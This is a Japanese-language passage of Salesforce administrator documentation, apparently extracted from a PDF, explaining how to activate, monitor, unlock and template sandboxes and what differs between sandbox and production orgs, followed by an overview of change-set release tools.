Sandbox の更新中に[自動的に有効化]をオンにしなかった場合は、Sandbox を有効化する準備ができると、Salesforce

からメールが送信されます。

更新された Sandbox の有効化
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox の更新中に[自動的に有効化]をオンにしなかった場合は、Sandbox を使用
する前に有効にする必要があります。
1. [設定] から、[クイック検索]ボックスに「Sandbox」と入力し、[Sandbox]を

選択します。
Sandbox のリストが表示されます。更新済みで、まだ有効化されていない
Sandbox には、名前の横に [有効化] リンクがあります。

2. 有効化する Sandbox の横にある [有効化] をクリックします。

警告: [更新] リンクを使用して作成された別の Sandbox を有効化すると、
更新中の Sandbox が削除されます。アプリケーションや変更を加えたデー
タを含め、現在の設定とデータが消去されます。[有効化] リンクは、
Sandbox の現在のコンテンツが必要ない場合にのみクリックしてくださ
い。本番組織とそのデータは影響を受けません。
新しい Sandbox は、30 日以内に有効化されないと削除されます。組織で
Sandbox を作成したか最後に更新したユーザは、Sandbox の削除がスケ
ジュールされる前に少なくとも 2 通のメール通知を受け取ります。
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Sandbox の進行状況の監視
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

[設定] から、[クイック検索] ボックスに「Sandbox」と入力し、[Sandbox] を選
択します。Sandbox のリストに、キューで待機中、処理中、最近完了済みの項目
の進行状況バーが表示されます。
• 進行中のコピーの完了率を表示するには、進行状況バーにカーソルを置きま

す。
• コピーの進行状況や次の更新が可能になるまでの時間など、Sandbox に関す

る情報を表示するには、名前をクリックします。
Sandbox 状況が 1 時間以上中断または停止している場合は、Salesforce カスタマー
サポートにお問い合わせください。
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Sandbox の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

[設定] で、[クイック検索] ボックスに「Sandbox」と入力し、[Sandbox] を選択
します。購入済みの使用可能な Sandbox、および使用中の Sandbox のリストが表
示されます。

Sandbox のアクションおよび状況リファレンス
組織内の Sandbox のリストには、Sandbox タブからアクセスできます。各エン
トリには、Sandbox 環境の状況と、実行可能な特定のアクションが表示され
ます。
Sandbox のロック解除
Sandbox は、Salesforce サービスとは別にライセンスされ、制限の対象になりま
す。Sandbox ライセンスの期限が切れると、Salesforce では選択した Sandbox 種
別で使用可能な Sandbox ライセンス数が削減されます。
Sandbox テンプレートの作成または編集
Sandbox テンプレートは、Sandbox にコピーするデータを制御します。
Sandbox の設定に関する考慮事項
Sandboxの動作はSalesforce本番組織とほぼ同じですが、重要な相違点がSandbox

組織の設定およびテスト方法に影響を及ぼします。

関連トピック:

https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/
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Sandbox のアクションおよび状況リファレンス
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

組織内の Sandbox のリストには、Sandbox タブからアクセスできます。各エント
リには、Sandbox 環境の状況と、実行可能な特定のアクションが表示されます。

使用可能な Sandbox アクション
Sandbox の詳細ページを表示するには、Sandbox 名をクリックします。Sandbox の
詳細ページでは、上記のアクション ([ログイン]、[更新]、[有効化]、[破棄]、[削
除]) をすべて実行できます。

説明アクション

[ログイン] をクリックして、システム管理者として
Sandbox にログインします。
Salesforce は、有効な Sandbox に対してのみこのオプショ
ンを表示します。[ログイン] ボタンを表示するには、
システム管理者として組織にログインする必要があり
ます。

ログイン

Sandbox を新しいコピーで置き換えるには、[更新] を
クリックします。
Salesforce では、更新対象の Sandbox の [更新] ボタンの
みが有効化されます。更新の完了を待つ間は、既存の

更新

Sandbox をそのまま使用できます。更新されたコピー
は、有効にするまで無効です。

更新された Sandbox を有効にするには、[有効化] をク
リックします。このオプションは、有効化されていな

有効化

い Sandbox にのみ表示されます。更新された Sandbox

にアクセスするには、まず有効にする必要がありま
す。

警告: 更新された Sandbox を有効にすると、現在
の Sandbox が更新されたバージョンに置き換えら
れ、古いバージョンとそこに含まれるすべての
データは完全に削除されます。本番組織とその
データは影響を受けません。

更新された Sandbox を破棄するには、[破棄] をクリッ
クします。このアクションは、有効になっていない

破棄

Sandbox に対してのみ表示されます。Sandbox は、使用
しない場合または別の更新を計画している場合に破棄
できます。
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説明アクション

Sandbox を完全に削除するには、[削除] をクリックします。削除

警告:  Sandbox を削除すると、その Sandbox と、そこに保存されている
すべてのデータが完全に削除されます。本番組織とそのデータは影
響を受けません。

メモ:  [削除] 操作と [更新] 操作を実行できるのは、その Sandbox 種別の更新間隔を過ぎたときのみです。

Sandbox の状況

説明状況

コピーエンジンで、本番組織からサンプリングおよびコピーするオブ
ジェクトレコードを判断しています。この状況は、Partial Copy Sandbox で
のみ使用されます。

サンプリング

Sandbox は、コピーエンジンで処理するためにキューに入っています。
別の Sandbox のコピー要求が先に行われていると、自分の Sandbox がしば
らくの間この状況のままになることがあります。

未承認

コピーエンジンでコピー要求が受け付けられ、Sandbox の作成を処理し
ています。

処理中

Sandbox の更新または作成中に、コピーエンジンが中断されました。コ
ピーエンジンはこの状況から自動的に復旧し、処理中に戻ります。この

サスペンド

状況が 1 時間以上変わらない場合は、Salesforce カスタマーサポートにお
問い合わせください。

コピーエンジンが複数のイベントから復旧できませんでした。Sandbox

がこの状況になった場合は、詳細および次のステップについて Salesforce

中止

カスタマーサポートにお問い合わせください。この状態の Sandbox は、
問題解決のために自動的に Salesforce に通知されます。

コピーエンジンで Sandbox の作成が完了し、有効化または破棄を待機し
ています。

有効化待機中

コピーエンジンで、新しい Sandbox を使用可能にするための最終ステッ
プを完了しています。

有効化中

[破棄] がクリックされたため、コピーエンジンで、更新済みの Sandbox

を削除用にマーキングしています。現在の Sandbox および本番組織は、
この処理の影響を受けません。

破棄中

コピーエンジンで作成処理または更新処理が完了し、新しい Sandbox が
有効化されました。新しい Sandbox 組織にログインできます。

完了
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説明状況

コピーエンジンで、Sandbox 環境およびすべての Sandbox 履歴を削除用に
マーキングしています。[削除]をクリックすると、この状況になります。
本番組織は、この処理の影響を受けません。

削除中

バックグラウンドプロセスによって Sandbox がロックされています。詳
細は、「ロック」状況を参照してください。

ロック中

一部またはすべての Sandbox ライセンスが期限切れのため、この Sandbox

にログインできません。
期限切れのライセンスを復元するには、アカウントマネージャにお問い
合わせください。ライセンスは 60 日以内に復元してください。ライセン
スが 60 日以内に復元されないと、Sandbox が削除されます。

ロック

Sandbox のロック解除
エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

Sandbox は、Salesforce サービスとは別にライセンスされ、制限の対象になります。
Sandbox ライセンスの期限が切れると、Salesforce では選択した Sandbox 種別で使
用可能な Sandbox ライセンス数が削減されます。
プロビジョニングされた Sandbox 組織よりも現在のライセンス数が少ない場合、
Salesforce では、更新、Sandbox 組織アクセス、ログインなどの Sandbox サービス
が削除されます。

メモ:  Salesforce では、ライセンスの期限切れにより自動的に Sandbox 組織が
削除されることはありません。

Sandbox は、その種別の Sandbox のすべてのライセンスが失効するとロックされ
ます。60 日間ロックされた Sandbox は削除されます。組織で Sandbox を作成した
か最後に更新したユーザは、Sandbox の削除がスケジュールされる前に通知を受
け取ります。対象ユーザには 30 日間に少なくとも 3 通のメール通知が送信され
ます。
新しい Sandbox は、30 日以内に有効化されないと削除されます。組織で Sandbox を作成したか最後に更新した
ユーザは、有効化されていない Sandbox の削除がスケジュールされる前に少なくとも 2 通のメール通知を受け
取ります。
ライセンスと使用に基づくいくつかのシナリオと解決策を次に示します。

解決影響例原因シナリオ

組織で許可されてい
る Sandbox ライセン

Sandbox を更新できま
せん。Sandbox の種別

組織に Partial Sandbox

が 3 つあるが、Partial

その Sandbox 種別に
対してライセンスで

特定の種別の Sandbox

を更新できない
スの数を順守できるを問わず、制限を超Sandbox ライセンスは許可されている数よ
ように Sandbox を削えている場合は、組2 つしかありませ

ん。
り多い Sandbox が組
織で使用されていま
す。

除するか、Sandbox ラ
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解決影響例原因シナリオ

イセンスを追加購入
します。

織はどの Sandbox も
更新できません。

適切な Sandbox ライ
センスを購入すると

Sandbox にアクセスで
きません。

組織に Full Sandbox が
3 つあるが、Full

Sandbox ライセンスが
ありません。

上位の階層の種別を
含め、特定の種別の
ライセンス数がゼロ
です。

特定の種別のすべて
の Sandbox がロック
される Sandbox のロックが解

除されます。

組織のロックを解除
するには、Salesforce

本番組織がロックさ
れると、組織に関連

組織に 1 つの Full

Sandbox と 1 つの
本番組織がロックさ
れています。

すべての Sandbox が
ロックされている

の担当者にお問い合付けられているすべDeveloper Sandbox があ
わせください。本番ての Sandbox がロッ

クされます。
るが、どちらの
Sandbox にもログイン
できません。

組織のロックが解除
されると、Sandbox の
ロックも解除されま
す。

関連トピック:

Sandbox と Sandbox ストレージの全般的な制限
Sandbox の作成
種類別 Sandbox ライセンスおよびストレージ
Sandbox の管理
Sandbox の設定に関する考慮事項
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Sandbox テンプレートの作成または編集
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox テンプレートは、Sandbox にコピーするデータを制御します。
Sandbox テンプレートを使用すると、Full Sandbox または Partial Copy Sandbox にコ
ピーする特定のオブジェクトとデータを選択して、各 Sandbox のサイズおよびコ
ンテンツを制御できます。Sandbox テンプレートは、Full Sandbox または Partial Copy

Sandbox でのみ使用可能です。
Sandbox テンプレートを作成するときに、Sandbox の作成時または更新時にコピー
するオブジェクトデータ (標準およびカスタム) を選択します。
Sandbox テンプレートエディタは、Salesforce 組織のオブジェクトスキーマで定義
されたリレーションを把握します。一部のオブジェクトはすべての組織で必須
であるため、選択前にすでに含まれています。コピーするブジェクトを選択す
ると、関連する必須オブジェクトが追加されます。オブジェクトに必要な関連
オブジェクトを確認するには、[オブジェクト]テーブルでオブジェクトを選択し
ます。必須オブジェクトは [必須オブジェクト] 列に表示されます。
組織でオブジェクトのスキーマを変更すると、関連する必須オブジェクトを追
加または削除することによって、Salesforce でテンプレートが更新されます。た
とえば、オブジェクト A がオブジェクト B のマスタであり、オブジェクト B をテ
ンプレートに追加すると、テンプレートにオブジェクト A が必要となるため、
Salesforce によりオブジェクト A が追加されます。
1. [設定] から、[クイック検索]ボックスに「Sandbox」と入力し、[Sandbox]を

選択してから、[Sandbox テンプレート] タブをクリックします。
2. [新規 Sandbox テンプレート] をクリックするか、変更する既存のテンプレートの横にある [編集] をクリッ

クします。
3. Sandbox テンプレートの名前と説明を入力します。
4. オブジェクトをテンプレートに追加するには、[利用可能なオブジェクト] リストで、必要な各オブジェク

トのチェックボックスをオンします。
[オブジェクトの詳細] セクションに、選択したオブジェクトと共に自動的に追加されるオブジェクトが表
示されます。

5. オブジェクトをテンプレートから削除するには、[利用可能なオブジェクト] リストの各オブジェクトの
チェックボックスをオフします。
以前に選択したオブジェクトを削除すると、明示的に選択しなかった連動オブジェクトも削除されます。
連動オブジェクトがあるオブジェクトを削除しようとすると、削除の確認を求める警告が表示されます。
確認すると、これらのオブジェクトも削除されます。

6. [保存]をクリックします。
Sandbox の作成時または更新時の Sandbox テンプレートの使用方法については、「Sandbox の作成」 (ページ6913)

を参照してください。
Sandbox コピーエンジンが Sandbox テンプレートをどのように使用して Full Sandbox または Partial Copy Sandbox を
作成するかについての詳細は、「種類別Sandboxライセンスおよびストレージ」 (ページ6910)を参照してくださ
い。
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警告: オブジェクトスキーマを変更すると、リレーションで必要なオブジェクトを含むように Sandbox テ
ンプレートが変更されることがあります。オブジェクトスキーマで必須のリレーションに変更を加える
場合は、選択される必要があるオブジェクトが確実に選択されることを Sandbox テンプレートで確認して
ください。

関連トピック:

Sandbox の作成
種類別 Sandbox ライセンスおよびストレージ
Sandbox の種別およびテンプレート

Sandbox の設定に関する考慮事項
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Database.com Edition

ユーザ権限

Sandbox を参照する
• 「設定・定義を参照す

る」

Sandbox を作成、更新、
有効化、および削除する
• 「Sandbox の管理」

Sandbox の動作は Salesforce 本番組織とほぼ同じですが、重要な相違点が Sandbox

組織の設定およびテスト方法に影響を及ぼします。
Sandbox を作成する前に、次の点を考慮してください。

サーバおよび ID
• Sandboxと本番組織には、常に一意の組織 ID があります。Sandbox コピーエン

ジンでは、作成要求および更新要求ごとに組織が作成されます。このため、
Sandbox の組織 ID は、Sandbox を更新するたびに変更されます。Salesforce によ
り、組織 ID を使用するすべての場所にテキスト値やメタデータなどの新しい
値が挿入されます。
現在ログインしている組織の組織 ID を検索するには、[設定] から、[クイック
検索]ボックスに「組織情報」と入力し、[組織情報]を選択します。「ハード
コード」された組織 ID に依存するテストスクリプトや Web-to-リードなどの
スクリプトまたはプロセスでは、Sandbox 用に現在の ID を使用する必要があ
ります。変更を本番組織にリリースするときに、これらのスクリプトまたは
プロセスを本番組織 ID で更新します。

• Salesforceでは、Sandbox組織がいくつかのインスタンスで作成されます。Sandbox

が作成または更新されると、SalesforceによってそのSandbox用に 1 つのインス
タンスが選択されるため、Sandbox 組織が複数の異なるインスタンスに表示
され、複数の URL を持つ場合があります。

• データを Sandbox にコピーすると、レコードのオブジェクト ID (すべてのオブジェクトの一意の ID で、開発
者 API の ID データ型と同じ) もコピーされます。ただし、コピー後は、オブジェクト ID は本番組織とSandbox

間で同期されません。Sandboxおよびそれに対応する本番組織は、独立した組織として動作します。Sandbox

の作成または更新後に本番組織で作成されたオブジェクトデータ (および対応するオブジェクト ID) は、
Sandbox には同期されません。Sandbox でも同じ動作になります。つまり、Sandbox で作成された新しいオブ
ジェクトは、本番組織には同期されません。
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ユーザおよび取引先責任者
• ユーザ情報は、すべての Sandbox 種別の Sandbox コピーまたは更新に含まれます。Salesforce のユーザ名はす

べて一意かつ単一の組織を参照している必要があるため、コピー処理中にすべてのユーザ名が確実に一意
になるように変更されます。
コピー処理中、ユーザ名ごとに必要に応じて変更が行われ、新しい一意のユーザ名が作成されます。
– まず、Sandbox 名がユーザ名に付加されます。たとえば、test という名前の Sandbox の場合、ユーザ名

user@acme.com は user@acme.com.test になります。
– 変更後のユーザ名が一意でない場合は、2 番目の変更として、文字と数字が変更されたユーザ名の先頭

に追加されます。この 2 番目の変更により、00x7Vquser@acme.com.test のようなユーザ名が作成さ
れます。

変更後のユーザ名を使用してログインする場合、対応する Sandbox にログインします。
• コピープロセスでは、取引先責任者データは Developer または Developer Pro Sandbox にはコピーされません。

このため、カスタマーポータルユーザはコピーされません。ただし、コピープロセスではカスタマーポー
タルライセンスはコピーされるため、必要に応じてこれらのSandboxにカスタマーポータルユーザを作成で
きます。

• Sandbox を作成または更新したときは、本番ユーザに Sandbox で自動作成されたメールメッセージが送信さ
れることがないように、Sandbox 内のユーザのメールアドレスが変更されます。ユーザのメールアドレスに
は example ドメイン (@example.com) が付加され、元の @記号は =に置き換えられます。この変更により、
システムでこれらのメールアドレスが無視されます。たとえば、本番環境の
awheeler@universalcontainers.com というユーザメールは、Sandbox に移行されると
awheeler=universalcontainers.com@example.comになります。テストの一部として自動生成された
メールを Sandbox ユーザに送信する場合は、Sandbox にログインしている間にメールアドレスを修正できま
す。

警告:  Sandbox は、Salesforce ユーザのメールアドレスを変更しますが、取引先責任者のレコードのメー
ルアドレスなど、Salesforceに存在する他のメールアドレスは変更しません。Sandboxから迷惑メールが
送信されるのを回避するには、Sandbox のユーザのものではないメールアドレスを Sandbox で手動です
べて無効にするか、削除します。送信メールをテストするときは、取引先責任者のメールアドレスを
試験者のアドレスか自動テストスクリプトに変更してください。

メール送信
新しい Sandbox と更新された Sandbox の [メールの送信設定] は、デフォルトで [システムメールのみ] になりま
す。メール送信設定を定義するには、Sandbox 組織で [設定] から、[クイック検索] ボックスに「送信」と入力
し、[送信] を選択します。編集可能な場合は、[メールを送信するためのアクセス権] セクションで [アクセス
権]を設定します。組織でこの設定を変更する機能がSalesforceによって制限されている場合、アクセス権を編
集できない可能性があります。
• アクセス権限なし: ユーザへの送信メールやユーザからの送信メールをすべてブロックします。
• システムメールのみ: 新しいユーザやパスワードのリセットメールなどの自動生成メールのみを許可します。
• すべてのメール: すべてのタイプの送信メールを許可します。新しい非 Sandbox 組織の場合、これがデフォル

トになります。
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ヒント: [システムメールのみ] 設定は、Sandbox から送信されるメールを制御して、テスト作業や開発作
業でテストメールがユーザに送信されないようにする場合に特に便利です。
• 新しく作成された Sandbox は、デフォルトで [システムメールのみ] になります。
• Spring '13 より前に作成された Sandbox は、デフォルトで [すべてのメール] になります。

Sandbox の作成、更新、および削除
• Sandbox が更新されるたび (および初回作成時) に Sandbox に対して実行するコピー後スクリプトを指定でき

ます。スクリプトは、Sandbox の作成時に指定します。
• Site.com および Site.com コミュニティサイトを Sandbox にコピーできます。
• Sandbox のコピーは長時間を要する操作で、バックグラウンドで行われます。Sandbox のコピーが完了する

と、ユーザにはメールによって通知されます。Sandboxの更新には、数時間から数日、または 1 週間以上か
かることもあります。

• Sandboxのコピーや更新に要する時間は、カスタマイズの数、データサイズ、オブジェクトと設定の選択肢
の数、およびサーバの負荷など、いくつかの条件によって影響を受けます。また、Sandboxの更新はキュー
に追加されるため、コピーを要求しても即時にコピーが開始されないことがあります。

• Sandbox は、ある時点でのデータの正確な状態のスナップショットではありません。Sandbox の作成または
更新中は、本番組織への変更を制限することをお勧めします。Sandboxの作成および更新作業中に本番組織
の設定やデータに変更を行うと、Sandbox内で矛盾が生じる場合があります。作成または更新が完了した後
に、Sandbox 内で矛盾を検出しそれを修正することができます。

• Sandboxのコピーまたは更新は長期間にわたって行われます。作成または更新中に大規模なプロセスを実行
したり 30 GB 以上の組織を更新したりすると、Sandbox で矛盾が生じる場合があります。

• 組織の制限数にすでに達している種別の Sandboxは使用できない場合があります。たとえば、組織が 1 つの
Full Sandboxに制限されていて、すでにFull Sandboxを所有している場合、別のFull Sandboxは作成できません。
ただし、既存の Full Sandbox を更新することはできます。

• Sandbox での作業が終了したら、更新できます。このプロセスにより、現在の Sandbox が本番組織の新しい
コピーで置き換えられます。

• 組織の Sandbox ライセンス数を減らした場合は、既存の Sandbox の横に [削除] リンクが表示されます。他の
Sandbox を作成または更新する前に、Sandbox を削除します。

• Sandbox に有効な Salesforce-to-Salesforce 接続がある場合は、Sandbox の更新後、接続を一度無効にしてから再
度有効化します。接続および対応付けは、更新された Sandbox にはコピーされません。

本番ライセンスの照合
Sandbox 組織に対して、本番環境で提供されるライセンスを Sandbox を更新することなく照合できます。照合で
は、本番と一致するように Sandbox のライセンス数を更新し、本番にあり Sandbox にはないライセンスを追加
して、本番にないライセンスを削除します。
ライセンスを照合するには、Sandbox にログインします。[設定] から、[クイック検索]ボックスに「組織情報」
と入力し、[組織情報] を選択して [本番ライセンスに一致] をクリックします。照合プロセスが開始するとア
ラートが表示されます。Sandbox のすべてのライセンスが照合されたら、確認メールが送信されます。確認メー
ルは、ライセンスコピーを開始したユーザに送信されます。
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本番ライセンスを照合するには、Sandbox と本番の Salesforceリリースが同じである必要があります。Sandbox が
次のリリースにアップグレードされていて (Sandbox プレビュー中の場合など)、本番はアップグレードされて
いない場合、本番ライセンスを照合することはできません。
本番ライセンスの照合ツールは、トライアル組織では使用できません。ツールを使用するには、「すべての
データの編集」権限を持っている必要があります。

Full Sandbox の設定
Full Sandbox を作成または更新するときに、コピーされるデータを指定するように設定できます。コピーする
データの量を最小限に抑えると、Sandbox のコピー時間を短縮できます。
• [オブジェクト履歴]、[ケース履歴]、[コンテンツバージョン履歴]、および [商談履歴] オプションを使用する

と、本番組織から Sandbox にコピーする履歴の日数を選択できます。履歴は 0 ～ 180 日分のコピーが可能
で、30 日単位で増加できます。デフォルトは 0 日です。

• デフォルトでは、Chatter データは Sandbox にコピーされません。Chatter データには、フィードおよびメッ
セージが含まれます。Chatter データをコピーする場合は、[Chatter データをコピー] を選択します。

• 本番組織の設定変更履歴は、Sandbox にコピーされません。Sandbox 組織の変更履歴は、Sandbox を使用し始
めると記録が開始されます。

• アーカイブされた活動 (1 年以上経過しているため本番組織で利用できない ToDo と行動) およびパスワード
履歴 (ユーザの以前のパスワード) はコピーされません。

メモ: 特別な状況により必要とならない限り、このデフォルトの選択値を増加させないでください。デー
タが多すぎると、Sandbox にコピーする時間が非常に長くなる場合があります。

Sandbox へのアクセス
• Sandbox ユーザのアクセス変更

– Sandbox の更新では、その Sandbox が削除され、本番組織の新しいコピーとして再作成されます。つま
り、このプロセスにより、手動で行ったアクセス権の変更は元に戻ります。Sandbox のみのユーザを作
成した場合、それらのユーザは存在しなくなり、ユーザのプロファイルと権限は本番組織での値に戻り
ます。更新後、新しいコピーでのアクセス権を変更してください。

– 本番組織で無効なユーザを作成し、それをSandboxで有効化できます。これは、Sandboxでの開発に適し
た権限を持つユーザを作成する場合に便利な方法です。

– 開発タスクとテストタスクの多くで、「すべてのデータの編集」権限が必要です。本番組織で開発者が
その権限を持っていない場合は、Sandbox での開発者の権限を上げます。本番環境からコピーされた機
密情報 (社会保障番号など) が含まれる Sandbox 組織でこの権限を付与するときは、十分注意してくださ
い。

– Sandboxの作成または更新後に本番組織に追加されたユーザは、本番組織インスタンスの関連Sandboxに
アクセスできません。Sandboxでユーザを作成するには、システム管理者としてSandbox組織にログイン
し、Sandbox インスタンスでユーザを作成します。

– Sandbox 開発のためにユーザを作成できますが、これらの新規ユーザは、組織のライセンスユーザの数
にカウントされます。ライセンス数を減らすため、Sandbox にアクセスする必要のない本番ユーザを無
効にしてから、Sandbox を作成または更新することができます。
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• Sandbox 組織へは、常にログイン URL https://test.salesforce.com を使用してログインします。
• ログイン時は、「ユーザおよび取引先責任者」 (ページ6924)の手順に従って、変更したユーザ名を使用する

ことを忘れないようにしてください。
• APIを使用している場合、ログイン後、Sandbox にアクセスするためには、loginResultオブジェクトで返

されたリダイレクト URL を使用します。この URL は、Sandbox が保存されているインスタンスの場所と、API

アクセス用の適切なサーバプールが反映されたものです。
• Sandbox のコピーは、SAML を使用する統合認証を無効にして作成されます。[Salesforce ログイン URL]

の値を除き、設定情報はすべて保存されます。[Salesforce ログイン URL] は、SAML を再度有効にした
後で、Sandbox URL と一致するように更新されます (例: https://yourInstance.salesforce.com/)。
Sandboxで SAML を有効化するには、[設定] から [クイック検索] ボックスに「シングルサインオン設定」と入
力し、[シングルサインオン設定] を選択します。次に、[編集] をクリックして [SAML を有効化] を選択し
ます。クライアントアプリケーション用の証明書の [Salesforce ログイン URL] の値も変更します。

Sandbox の制限に関する注意事項
Sandboxは、ディスク使用制限に達してもメール通知を送信しません。ただし、Sandboxのディスク使用制限に
達すると、Sandbox に新しいデータを保存することはできません。ディスク使用制限を確認するには、[設定]

から [クイック検索] ボックスに「組織のディスク使用量」と入力し、Sandbox の [組織のディスク使用量] を選
択します。

カスタマイズおよびデータの変更
• 本番組織でカスタマイズやデータの変更を行っても、既存のSandboxには反映されません。組織に行った最

新のカスタマイズを取り込むには、Sandbox を作成または更新します。
• Apexの追加、編集、および削除は、Developer Edition または Sandbox の組織で Salesforceユーザインターフェー

スを使用する場合にのみ行うことができます。Salesforce の本番組織で Apex を変更するには、
compileAndTestAPI() コールを使用します。

• Sandbox と Force.com AppExchange のバージョンが同じである場合は、次のことを実行できます。
– Force.com AppExchange から Sandbox にアプリケーションをインストールおよび展開する。
– Sandbox から Force.com AppExchange にアプリケーションを公開する。

Force.com Sandbox から管理パッケージを公開することはお勧めしません。これは、Sandbox を更新または
削除すると、管理パッケージに変更を行うことができなくなるためです。

Salesforce リリース時期近くには、Sandbox のバージョンが Force.com AppExchange と異なる場合がありま
す。.Sandbox のホームページの左上に表示されるロゴでバージョン情報を確認してください。

• 組織で見積テンプレートを使用してDeveloper Pro Sandboxを作成する場合、[テキスト/画像項目]項目を含む
テンプレートを開いて Sandbox 内で編集することはできません。

• 見積テンプレートに画像を使用している本番組織をSandboxにコピーすると、画像パスが不正確になり、画
像は無効なリンクとして表示されます。画像を表示するには、正しい場所から画像をSandboxに再挿入しま
す。
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使用できないサービス
• 次の機能は無効になっており、Sandbox で有効にすることはできません。

– 契約の有効期限警告
– ケースのエスカレーション

契約の有効期限警告とケースのエスカレーションは、取引先責任者、顧客、本番組織ユーザにメールが
自動的に送信されるため、無効になっています。

– 登録明細
– データのエクスポート ([設定] の [ウィークリーエクスポートサービス] ページで [今すぐエクスポート]

または [エクスポートをスケジュール] をクリック)

– Salesforce Sandbox 作成機能
– Sandbox 内に作成したメールサービスアドレスの本番組織へのコピー機能
– Site.com サイトの公開機能

その他のサービスの違い
• /00Oz0000000EVpU&pv0={!Account_ID}などの相対 URL として作成されたカスタムリンクのみが Sandbox

で動作します。https://yourInstance.salesforce.com/00Oz0000000EVpU&pv0={!Account_ID}な
どの絶対 URL として作成されたカスタムリンクは、組織の Sandbox では動作しません。本番組織では、相対
URL のみを使用することをお勧めします。相対 URL を使用しない場合、各 Sandbox での URL を修正してくだ
さい。

• Salesforceは、バックグラウンドプロセスで、15 日を経過したごみ箱内のレコードを完全に削除します。サー
バが異なればこのプロセスの実行時期も異なるため、Sandboxのタイムスタンプは、本番組織のタイムスタ
ンプとは異なります。このタイムスタンプに依存するアプリケーションおよびインテグレーションが本番
組織などのある環境に初めて接続され、その後Sandboxなど別の環境に接続された場合は、失敗することが
あります。このタイムスタンプに依存するアプリケーションおよびインテグレーションを開発する場合は、
この動作に留意してください。
バックグラウンドでの削除プロセスを最後に実行した時間は、getDeleted() APIコールで確認できます。

• Summer '14 リリース以前に設定された Salesforce 認証プロバイダでは、Sandbox が提供するユーザ ID に組織 ID

が含まれません。対象組織は 2 つのソース (2 つの Sandbox など) の同じユーザ ID を持つユーザを区別できま
せん。ユーザを区別するには、対象組織の既存のSalesforce認証プロバイダの設定を編集し、サードパーティ
アカウントのリンクの組織 ID を含むようにチェックボックスをオンにします。この機能を有効にした後
に、ユーザはサードパーティのリンクの連結を再承認する必要があります。Winter '15 リリース以降に作成
された Salesforce 認証プロバイダは、デフォルトでこの設定が有効になります。

• 組織の Sandbox の更新が完了したら、次の条件を満たすユーザには Sandbox の更新日から 10 年間 Sandbox へ
のログインアクセス権が付与されます。
– システム管理者である。
– Sandbox で直接作成されておらず、本番組織から Sandbox にコピーされている。
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• 任意のユーザとしてログインするには、test.salesforce.comから Sandbox にアクセスします。任意の
ユーザとしてログインするオプションは、ユーザが [ログイン] リンクを使用して本番組織からSandboxにア
クセスする場合は使用できません。

関連トピック:

Sandbox の作成
Sandbox の種別およびテンプレート
種類別 Sandbox ライセンスおよびストレージ
Sandbox のロック解除

変更点のリリース

[設定] で使用できる開発ツールを使用して、Salesforce 組織間でメタデータの変更を移行します。
次のページにアクセスするには、[クイック検索] ボックスを使用します。
リリース設定

変更セット機能を使用するには、リリース接続が必要です。[リリース接続] ページでは、送信変更セット
と受信変更セットの両方の接続権限を指定できます。

リリース状況
Metadata API から行ったリリースの進捗状況を監視します。

送信変更セット
ログインしている組織で変更を行い、その変更を別の組織にアップロードします。

受信変更セット
他の組織からアップロードされた変更セットの受け入れ、変更、または却下を行います。

変更の作成ツールとリリースツールの選択
ポイント & クリックツールを使用するシステム管理者でも、コードを記述する開発者でも、適切なツール
を選択して Sandbox で作業し、完全な変更を本番組織にリリースできます。Salesforce から提供される 1 つ以
上のツールを使用して、Sandbox で組織の変更をカスタマイズおよびコーディングできます。
リリースのための組織の接続
変更セットの接続をリリースし、リリース接続を承認します。
変更セット
変更セットを使用すると、Salesforce 組織間でカスタマイズを送信できます。たとえば、Sandbox 組織で新し
いオブジェクトを作成してテストしてから、変更セットを使用して本番組織に送信することができます。
変更セットには、[設定] メニューから実行できる変更のみを含めることができます。たとえば、変更セッ
トを使用して、取引先責任者レコードのリストをアップロードすることはできません。変更セットに組織
に関する情報は含まれますが、レコードなどのデータは含まれません。
リリースの特殊な動作
変更を Salesforce 組織にリリースする場合、必要なすべての変更が含まれるように、リリースの個々のコン
ポーネントがどのように動作するのかを考慮します。次の情報を参考にして、リリースに含めるものや、
対象組織での変更の表示方法を決定してください。
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リリースの監視
[リリース状況] ページでは、処理中のリリースを監視したり、どのリリースが実行を待機しているかを確
認したり、完了したリリースの結果を参照したりできます。

関連トピック:

変更セット
リリースの監視

変更の作成ツールとリリースツールの選択
ポイント & クリックツールを使用するシステム管理者でも、コードを記述する開発者でも、適切なツールを選
択して Sandbox で作業し、完全な変更を本番組織にリリースできます。Salesforce から提供される 1 つ以上のツー
ルを使用して、Sandbox で組織の変更をカスタマイズおよびコーディングできます。

開発者コンソールでの Apex の開発およびリリース
Force.com IDE を使用した作成およびリリース
SOAP API を使用した作成およびリリース
Force.com 移行ツールを使用したリリース
変更セットを使用したリリース

